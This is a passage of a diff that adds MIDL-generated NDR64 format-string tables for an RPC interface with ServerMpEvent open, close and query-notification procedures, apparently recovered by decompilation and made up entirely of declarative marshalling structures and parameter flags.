0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 11 /* 0xb */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 7 /* 0x7 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 8 /* 0x8 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 9 /* 0x9 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 10 /* 0xa */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag56_t __midl_frag56 = +{ +/* Struct_444_t */ + { + /* Struct_444_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_444_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag57 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag55_t __midl_frag55 = +{ +/* *Struct_444_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag56 +}; + +static const __midl_frag54_t __midl_frag54 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag53_t __midl_frag53 = +{ +/* union_222 */ + { + /* union_222 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag54, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 21 /* 0x15 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag55, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag71, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag82, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag84, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag86, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 6 /* 0x6 */, + &__midl_frag88, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 7 /* 0x7 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 8 /* 0x8 */, + &__midl_frag93, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 9 /* 0x9 */, + &__midl_frag99, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 10 /* 0xa */, + &__midl_frag109, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 12 /* 0xc */, + &__midl_frag115, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 13 /* 0xd */, + &__midl_frag1839, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 14 /* 0xe */, + &__midl_frag122, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 15 /* 0xf */, + &__midl_frag124, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 16 /* 0x10 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 17 /* 0x11 */, + &__midl_frag251, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 18 /* 0x12 */, + &__midl_frag130, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 19 /* 0x13 */, + &__midl_frag133, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 20 /* 0x14 */, + &__midl_frag135, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 21 /* 0x15 */, + &__midl_frag140, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 22 /* 0x16 */, + &__midl_frag146, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag52_t __midl_frag52 = +{ +/* Struct_970_t */ + { + /* Struct_970_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_970_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* Struct_970_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + (NDR64_UINT16) 20 /* 0x14 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag53 + }, + { + /* Struct_970_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag48_t __midl_frag48 = +{ +/* Proc5_ServerMpEventQueryNotification */ + { + /* Proc5_ServerMpEventQueryNotification */ /* procedure Proc5_ServerMpEventQueryNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag42_t __midl_frag42 = +{ +/* Proc4_ServerMpEventClose */ + { + /* Proc4_ServerMpEventClose */ /* procedure Proc4_ServerMpEventClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag36_t __midl_frag36 = +{ +/* Struct_16_t */ + { + /* Struct_16_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag30_t __midl_frag30 = +{ +/* Proc3_ServerMpEventOpen */ + { + /* Proc3_ServerMpEventOpen */ /* procedure Proc3_ServerMpEventOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag36, + { + /* arg_5 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag1288, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag26_t __midl_frag26 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 88 /* 0x58 */ + } +}; + +static const __midl_frag21_t __midl_frag21 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag17_t __midl_frag17 = +{ +/* Struct_144_t */ + { + /* Struct_144_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_144_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 432 /* 0x1b0 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_78_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag21 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* Struct_58_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag80 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_78_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag21 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* Struct_58_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct 